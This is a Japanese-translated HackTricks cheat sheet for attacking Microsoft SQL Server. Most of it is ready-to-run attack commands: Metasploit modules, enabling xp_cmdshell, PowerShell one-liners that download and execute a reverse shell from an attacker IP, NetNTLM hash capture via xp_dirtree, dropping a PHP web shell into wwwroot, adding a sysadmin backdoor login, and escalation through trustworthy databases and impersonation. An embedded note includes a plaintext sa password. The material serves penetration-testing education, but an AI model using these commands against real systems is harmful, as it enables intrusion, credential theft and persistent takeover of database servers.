hacktricks/network-services-pentesting/pentesting-mssql-microsoft-sql-server
2024-01-03 00:54:19 +00:00
..
README.md Translated ['network-services-pentesting/pentesting-mssql-microsoft-sql- 2024-01-03 00:54:19 +00:00
types-of-mssql-users.md Translated to Japanese 2023-07-07 23:42:27 +00:00

1433 - MSSQL - Microsoft SQL Server のペネトレーションテスト

AWSハッキングをゼロからヒーローまで学ぶには htARTE (HackTricks AWS Red Team Expert)をチェック!

HackTricksをサポートする他の方法:

重要な脆弱性を素早く見つけて修正する。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまで、テックスタック全体の問題を見つけ出す。今日無料で試す

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


基本情報

Microsoft SQL Serverは、Microsoftによって開発されたリレーショナルデータベース管理システムです。データベースサーバーとして、主に他のソフトウェアアプリケーションからの要求に応じてデータの格納と取得を行うソフトウェア製品です。これらのアプリケーションは、同じコンピュータ上、またはインターネットを含むネットワークを介した別のコンピュータ上で実行される場合があります。 wikipediaより。

デフォルトポート: 1433

1433/tcp open  ms-sql-s      Microsoft SQL Server 2017 14.00.1000.00; RTM

デフォルトのMS-SQLシステムテーブル

  • masterデータベース: SQL Serverのインスタンスに関するすべてのシステムレベルの情報を記録します。
  • msdbデータベース: SQL Serverエージェントがアラートやジョブのスケジューリングに使用します。
  • modelデータベース: SQL Serverのインスタンス上で作成されるすべてのデータベースのテンプレートとして使用されます。modelデータベースへの変更、例えばデータベースサイズ、照合順序、リカバリーモデル、その他のデータベースオプションは、その後に作成されるデータベースに適用されます。
  • Resourceデータベース: SQL Serverに付属するシステムオブジェクトを含む読み取り専用のデータベースです。システムオブジェクトは物理的にResourceデータベースに保存されますが、論理的にはすべてのデータベースのsysスキーマに表示されます。
  • tempdbデータベース: 一時オブジェクトや中間結果セットを保持するためのワークスペースです。

列挙

自動列挙

サービスについて何も知らない場合:

nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 <IP>
msf> use auxiliary/scanner/mssql/mssql_ping

{% hint style="info" %} 資格情報がない場合は、推測を試みることができます。nmapやmetasploitを使用することができます。注意してください、既存のユーザー名を使用して複数回ログインに失敗すると、アカウントをブロックする可能性があります。 {% endhint %}

Metasploit資格情報が必要

#Set USERNAME, RHOSTS and PASSWORD
#Set DOMAIN and USE_WINDOWS_AUTHENT if domain is used

#Steal NTLM
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer #Steal NTLM hash, before executing run Responder

#Info gathering
msf> use admin/mssql/mssql_enum #Security checks
msf> use admin/mssql/mssql_enum_domain_accounts
msf> use admin/mssql/mssql_enum_sql_logins
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/scanner/mssql/mssql_hashdump
msf> use auxiliary/scanner/mssql/mssql_schemadump

#Search for insteresting data
msf> use auxiliary/admin/mssql/mssql_findandsampledata
msf> use auxiliary/admin/mssql/mssql_idf

#Privesc
msf> use exploit/windows/mssql/mssql_linkcrawler
msf> use admin/mssql/mssql_escalate_execute_as #If the user has IMPERSONATION privilege, this will try to escalate
msf> use admin/mssql/mssql_escalate_dbowner #Escalate from db_owner to sysadmin

#Code execution
msf> use admin/mssql/mssql_exec #Execute commands
msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload

#Add new admin user from meterpreter session
msf> use windows/manage/mssql_local_auth_bypass

ブルートフォース

手動列挙

ログイン

# Using Impacket mssqlclient.py
mssqlclient.py [-db volume] <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>
## Recommended -windows-auth when you are going to use a domain. Use as domain the netBIOS name of the machine
mssqlclient.py [-db volume] -windows-auth <DOMAIN>/<USERNAME>:<PASSWORD>@<IP>

# Using sqsh
sqsh -S <IP> -U <Username> -P <Password> -D <Database>
## In case Windows Auth using "." as domain name for local user
sqsh -S <IP> -U .\\<Username> -P <Password> -D <Database>
## In sqsh you need to use GO after writting the query to send it
1> select 1;
2> go

一般的な列挙

# Get version
select @@version;
# Get user
select user_name();
# Get databases
SELECT name FROM master.dbo.sysdatabases;
# Use database
USE master

#Get table names
SELECT * FROM <databaseName>.INFORMATION_SCHEMA.TABLES;
#List Linked Servers
EXEC sp_linkedservers
SELECT * FROM sys.servers;
#List users
select sp.name as login, sp.type_desc as login_type, sl.password_hash, sp.create_date, sp.modify_date, case when sp.is_disabled = 1 then 'Disabled' else 'Enabled' end as status from sys.server_principals sp left join sys.sql_logins sl on sp.principal_id = sl.principal_id where sp.type not in ('G', 'R') order by sp.name;
#Create user with sysadmin privs
CREATE LOGIN hacker WITH PASSWORD = 'P@ssword123!'
EXEC sp_addsrvrolemember 'hacker', 'sysadmin'

ユーザーの取得

{% content-ref url="types-of-mssql-users.md" %} types-of-mssql-users.md {% endcontent-ref %}

# Get all the users and roles
select * from sys.database_principals;
## This query filters a bit the results
select name,
create_date,
modify_date,
type_desc as type,
authentication_type_desc as authentication_type,
sid
from sys.database_principals
where type not in ('A', 'R')
order by name;

## Both of these select all the users of the current database (not the server).
## Interesting when you cannot acces the table sys.database_principals
EXEC sp_helpuser
SELECT * FROM sysusers

権限の取得

いくつかのMSSQL用語についての紹介です

  1. Securableセキュラブル これらは、SQL Server Database Engine認証システムがアクセスを制御するリソースです。セキュラブルは、以下の3つの広いカテゴリーに分けられます
  • サーバー 例:データベース、ログイン、エンドポイント、可用性グループ、サーバーロール
  • データベース 例:データベースロール、アプリケーションロール、スキーマ、証明書、全文カタログ、ユーザー
  • スキーマ 例:テーブル、ビュー、プロシージャ、関数、シノニム
  1. Permission権限 すべてのSQL Serverセキュラブルには、ALTER、CONTROL、CREATEなどの関連する権限があり、それらはプリンシパルに付与することができます。権限は、ログインを使用してサーバーレベルで、ユーザーを使用してデータベースレベルで管理されます。
  2. Principalプリンシパル セキュラブルへの権限を受け取るエンティティをプリンシパルと呼びます。最も一般的なプリンシパルはログインとデータベースユーザーです。セキュラブルへのアクセスは、権限を付与または拒否すること、またはアクセス権を持つロールにログインやユーザーを追加することによって制御されます。
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
# Show all possible permissions in MSSQL
SELECT * FROM sys.fn_builtin_permissions(DEFAULT);
# Get all my permissions over securable type SERVER
SELECT * FROM fn_my_permissions(NULL, 'SERVER');
# Get all my permissions over a database
USE <database>
SELECT * FROM fn_my_permissions(NULL, 'DATABASE');
# Get members of the role "sysadmin"
Use master
EXEC sp_helpsrvrolemember 'sysadmin';
# Get if the current user is sysadmin
SELECT IS_SRVROLEMEMBER('sysadmin');
# Get users that can run xp_cmdshell
Use master
EXEC sp_helprotect 'xp_cmdshell'

コツ

OSコマンドの実行

{% hint style="danger" %} コマンドを実行するためには、xp_cmdshell有効であるだけでなく、xp_cmdshell ストアドプロシージャに対するEXECUTE権限も必要であることに注意してください。システム管理者を除く、xp_cmdshell を使用できるユーザーを以下の方法で確認できます:

Use master
EXEC sp_helprotect 'xp_cmdshell'

{% endhint %}

# Username + Password + CMD command
crackmapexec mssql -d <Domain name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command
crackmapexec mssql -d <Domain name> -u <username> -H <HASH> -X '$PSVersionTable'

# Check if xp_cmdshell is enabled
SELECT * FROM sys.configurations WHERE name = 'xp_cmdshell';

# This turns on advanced options and is needed to configure xp_cmdshell
sp_configure 'show advanced options', '1'
RECONFIGURE
#This enables xp_cmdshell
sp_configure 'xp_cmdshell', '1'
RECONFIGURE

#One liner
sp_configure 'Show Advanced Options', 1; RECONFIGURE; sp_configure 'xp_cmdshell', 1; RECONFIGURE;

# Quickly check what the service account is via xp_cmdshell
EXEC master..xp_cmdshell 'whoami'
# Get Rev shell
EXEC xp_cmdshell 'echo IEX(New-Object Net.WebClient).DownloadString("http://10.10.14.13:8000/rev.ps1") | powershell -noprofile'

# Bypass blackisted "EXEC xp_cmdshell"
'; DECLARE @x AS VARCHAR(100)='xp_cmdshell'; EXEC @x 'ping k7s3rpqn8ti91kvy0h44pre35ublza.burpcollaborator.net'

NetNTLMハッシュの盗難 / リレー攻撃

認証に使用されるハッシュをキャプチャするために、SMBサーバーを起動する必要があります(例:impacket-smbserverresponder)。

xp_dirtree '\\<attacker_IP>\any\thing'
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
EXEC master..xp_subdirs '\\<attacker_IP>\anything\'
EXEC master..xp_fileexist '\\<attacker_IP>\anything\'

# Capture hash
sudo responder -I tun0
sudo impacket-smbserver share ./ -smb2support
msf> use auxiliary/admin/mssql/mssql_ntlm_stealer

{% hint style="warning" %} これらのMSSQL関数を実行する権限を持っているのはシステム管理者以外に誰かを確認することができます:

Use master;
EXEC sp_helprotect 'xp_dirtree';
EXEC sp_helprotect 'xp_subdirs';
EXEC sp_helprotect 'xp_fileexist';

{% endhint %}

responderInveigh などのツールを使用して、NetNTLMハッシュを盗むことが可能です。
これらのツールの使用方法については以下を参照してください:

{% content-ref url="../../generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md" %} spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md {% endcontent-ref %}

MSSQL 信頼されたリンクの悪用

この機能を悪用する方法についての詳細は、こちらの投稿を読んでください:

{% content-ref url="../../windows-hardening/active-directory-methodology/abusing-ad-mssql.md" %} abusing-ad-mssql.md {% endcontent-ref %}

ファイルの書き込み

MSSQL を使用してファイルを書き込むには、管理者権限が必要な Ole Automation Procedures有効にする必要があり、その後いくつかのストアドプロシージャを実行してファイルを作成します:

# Enable Ole Automation Procedures
sp_configure 'show advanced options', 1
RECONFIGURE

sp_configure 'Ole Automation Procedures', 1
RECONFIGURE

# Create a File
DECLARE @OLE INT
DECLARE @FileID INT
EXECUTE sp_OACreate 'Scripting.FileSystemObject', @OLE OUT
EXECUTE sp_OAMethod @OLE, 'OpenTextFile', @FileID OUT, 'c:\inetpub\wwwroot\webshell.php', 8, 1
EXECUTE sp_OAMethod @FileID, 'WriteLine', Null, '<?php echo shell_exec($_GET["c"]);?>'
EXECUTE sp_OADestroy @FileID
EXECUTE sp_OADestroy @OLE

OPENROWSETを使用してファイルを読む

デフォルトでは、MSSQLはアカウントが読み取りアクセス権を持っているオペレーティングシステム内の任意のファイルを読み取ることができます。次のSQLクエリを使用できます

SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents

しかし、BULK オプションには ADMINISTER BULK OPERATIONS または ADMINISTER DATABASE BULK OPERATIONS の権限が必要です。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTER BULK OPERATIONS' OR permission_name='ADMINISTER DATABASE BULK OPERATIONS';

エラーベースのベクトルによるSQLi

https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--

RCE/ファイル読み取りスクリプト実行 (Python と R)

MSSQLでは、Python または R のスクリプトを実行することができます。これらのコードは、コマンドを実行するために xp_cmdshell を使用するユーザーとは異なるユーザーによって実行されます。

'R' を使って 動作しない "Hellow World!" スクリプトを実行しようとする例:

設定されたpythonを使用して複数のアクションを実行する例

# Print the user being used (and execute commands)
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("os").system("whoami"))'
#Open and read a file
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(open("C:\\inetpub\\wwwroot\\web.config", "r").read())'
#Multiline
EXECUTE sp_execute_external_script @language = N'Python', @script = N'
import sys
print(sys.version)
'
GO

レジストリの読み取り

Microsoft SQL Serverは、ネットワークだけでなくファイルシステムやWindows レジストリとも対話できる複数の拡張ストアドプロシージャを提供しています****

通常 インスタンス対応
sys.xp_regread sys.xp_instance_regread
sys.xp_regenumvalues sys.xp_instance_regenumvalues
sys.xp_regenumkeys sys.xp_instance_regenumkeys
sys.xp_regwrite sys.xp_instance_regwrite
sys.xp_regdeletevalue sys.xp_instance_regdeletevalue
sys.xp_regdeletekey sys.xp_instance_regdeletekey
sys.xp_regaddmultistring sys.xp_instance_regaddmultistring
sys.xp_regremovemultistring sys.xp_instance_regremovemultistring
# Example read registry
EXECUTE master.sys.xp_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\Microsoft SQL Server\MSSQL12.SQL2014\SQLServerAgent', 'WorkingDirectory';
# Example write and then read registry
EXECUTE master.sys.xp_instance_regwrite 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue', 'REG_SZ', 'Now you see me!';
EXECUTE master.sys.xp_instance_regread 'HKEY_LOCAL_MACHINE', 'Software\Microsoft\MSSQLSERVER\SQLServerAgent\MyNewKey', 'MyNewValue';
# Example to check who can use these functions
Use master;
EXEC sp_helprotect 'xp_regread';
EXEC sp_helprotect 'xp_regwrite';

さらに多くの例については、元のソースをご覧ください。

RCE with MSSQL User Defined Function - SQLHttp

カスタム関数を持つ .NET dll を MSSQL 内でロードすることが可能です。ただし、これには dbo アクセスが必要なので、sa や管理者ロールとしてのデータベースへの接続が必要です。

このリンクに従って例を見てください。

RCEの他の方法

コマンド実行を得る他の方法には、拡張ストアドプロシージャCLRアセンブリSQL Server エージェントジョブ、および外部スクリプトの追加があります。

最も重要な脆弱性を見つけて、より早く修正できるようにします。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムに至るまでの技術スタック全体で問題を見つけます。今日無料でお試しください。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


MSSQL 権限昇格

db_owner から sysadmin へ

通常のユーザー管理者ユーザー(例えば sa)が所有するデータベースに対して db_owner ロールを与えられ、そのデータベースが trustworthy として設定されている場合、そのユーザーは所有者(管理者)として実行できるストアドプロシージャを作成してこれらの権限を悪用し、**権限昇格privesc**を行うことができます。

# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases

# Find trustworthy databases
SELECT a.name,b.is_trustworthy_on
FROM master..sysdatabases as a
INNER JOIN sys.databases as b
ON a.name=b.name;

# Get roles over the selected database (look for your username as db_owner)
USE <trustworthy_db>
SELECT rp.name as database_role, mp.name as database_user
from sys.database_role_members drm
join sys.database_principals rp on (drm.role_principal_id = rp.principal_id)
join sys.database_principals mp on (drm.member_principal_id = mp.principal_id)

# If you found you are db_owner of a trustworthy database, you can privesc:
--1. Create a stored procedure to add your user to sysadmin role
USE <trustworthy_db>

CREATE PROCEDURE sp_elevate_me
WITH EXECUTE AS OWNER
AS
EXEC sp_addsrvrolemember 'USERNAME','sysadmin'

--2. Execute stored procedure to get sysadmin role
USE <trustworthy_db>
EXEC sp_elevate_me

--3. Verify your user is a sysadmin
SELECT is_srvrolemember('sysadmin')

metasploit モジュールを使用できます:

msf> use auxiliary/admin/mssql/mssql_escalate_dbowner

または PS スクリプト:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184

他のユーザーのなりすまし

SQL Serverには、IMPERSONATE という特別な権限があり、実行ユーザーが他のユーザーやログインの権限を引き継ぐことを可能にします。これはコンテキストがリセットされるかセッションが終了するまで続きます。

# Find users you can impersonate
SELECT distinct b.name
FROM sys.server_permissions a
INNER JOIN sys.server_principals b
ON a.grantor_principal_id = b.principal_id
WHERE a.permission_name = 'IMPERSONATE'
# Check if the user "sa" or any other high privileged user is mentioned

# Impersonate sa user
EXECUTE AS LOGIN = 'sa'
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')

{% hint style="info" %} ユーザーになりすますことができる場合、たとえそのユーザーがsysadminでなくても、そのユーザーが他のデータベースやリンクされたサーバーにアクセスできるかどうかを確認する必要があります。 {% endhint %}

sysadminになると、他のユーザーになりすますことができます

-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
-- Verify you are now running as the the MyUser4 login
SELECT SYSTEM_USER
SELECT IS_SRVROLEMEMBER('sysadmin')
-- Change back to sa
REVERT

この攻撃はmetasploitモジュールを使用して実行できます:

msf> auxiliary/admin/mssql/mssql_escalate_execute_as

または、PS スクリプトで:

# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!

MSSQLを使用した永続性

https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/

SQL Server リンクサーバーからのパスワード抽出

攻撃者はSQLインスタンスからSQL Server リンクサーバーのパスワードを抽出し、クリアテキストで取得することができ、攻撃者はターゲットに対するより大きな足場を獲得するために使用できるパスワードを得ることができます。 リンクサーバー用に保存されたパスワードを抽出して復号するスクリプトはこちらで見つけることができます。

このエクスプロイトを機能させるためには、いくつかの要件と設定が必要です。 まず、マシンの管理者権限を持っているか、SQL Serverの設定を管理する能力が必要です。

権限を確認した後、次の3つのことを設定する必要があります

  1. SQL ServerインスタンスでTCP/IPを有効にする
  2. スタートアップパラメータを追加する、この場合、トレースフラグが追加されます、それは-T7806です。
  3. リモート管理接続を有効にする。

これらの設定を自動化するために、このリポジトリに必要なスクリプトがあります。 設定の各ステップに対するパワーシェルスクリプトを持っているだけでなく、リポジトリには設定スクリプトとパスワードの抽出と復号を組み合わせた完全なスクリプトもあります。

この攻撃に関するさらなる情報については、以下のリンクを参照してください: Decrypting MSSQL Database Link Server Passwords

Troubleshooting the SQL Server Dedicated Administrator Connection

ローカル特権昇格

MSSQLサーバーを実行しているユーザーは、特権トークン SeImpersonatePrivilege を有効にします。
おそらく、以下の2ページのいずれかに従って 管理者に昇格 できるでしょう:

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %} roguepotato-and-printspoofer.md {% endcontent-ref %}

{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/juicypotato.md" %} juicypotato.md {% endcontent-ref %}

Shodan

  • port:1433 !HTTP

参考文献

最も重要な脆弱性を見つけて、より早く修正します。Intruderは攻撃面を追跡し、積極的な脅威スキャンを実行し、APIからウェブアプリ、クラウドシステムまでの全技術スタックにわたる問題を見つけます。今日無料でお試ししてください。

{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}


HackTricks 自動コマンド

Protocol_Name: MSSQL    #Protocol Abbreviation if there is one.
Port_Number:  1433     #Comma separated if there is more than one.
Protocol_Description: Microsoft SQL Server         #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for MSSQL
Note: |
Microsoft SQL Server is a relational database management system developed by Microsoft. As a database server, it is a software product with the primary function of storing and retrieving data as requested by other software applications—which may run either on the same computer or on another computer across a network (including the Internet).

#sqsh -S 10.10.10.59 -U sa -P GWE3V65#6KFH93@4GWTG2G

###the goal is to get xp_cmdshell working###
1. try and see if it works
xp_cmdshell `whoami`
go

2. try to turn component back on
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell `whoami`
go

3. 'advanced' turn it back on
EXEC SP_CONFIGURE 'show advanced options', 1
reconfigure
go
EXEC SP_CONFIGURE 'xp_cmdshell' , 1
reconfigure
go
xp_cmdshell 'whoami'
go




xp_cmdshell "powershell.exe -exec bypass iex(new-object net.webclient).downloadstring('http://10.10.14.60:8000/ye443.ps1')"


https://book.hacktricks.xyz/pentesting/pentesting-mssql-microsoft-sql-server

Entry_2:
Name: Nmap for SQL
Description: Nmap with SQL Scripts
Command: nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config,ms-sql-ntlm-info,ms-sql-tables,ms-sql-hasdbaccess,ms-sql-dac,ms-sql-dump-hashes --script-args mssql.instance-port=1433,mssql.username=sa,mssql.password=,mssql.instance-name=MSSQLSERVER -sV -p 1433 {IP}

Entry_3:
Name: MSSQL consolesless mfs enumeration
Description: MSSQL enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'

AWSハッキングをゼロからヒーローまで学ぶ htARTE (HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法: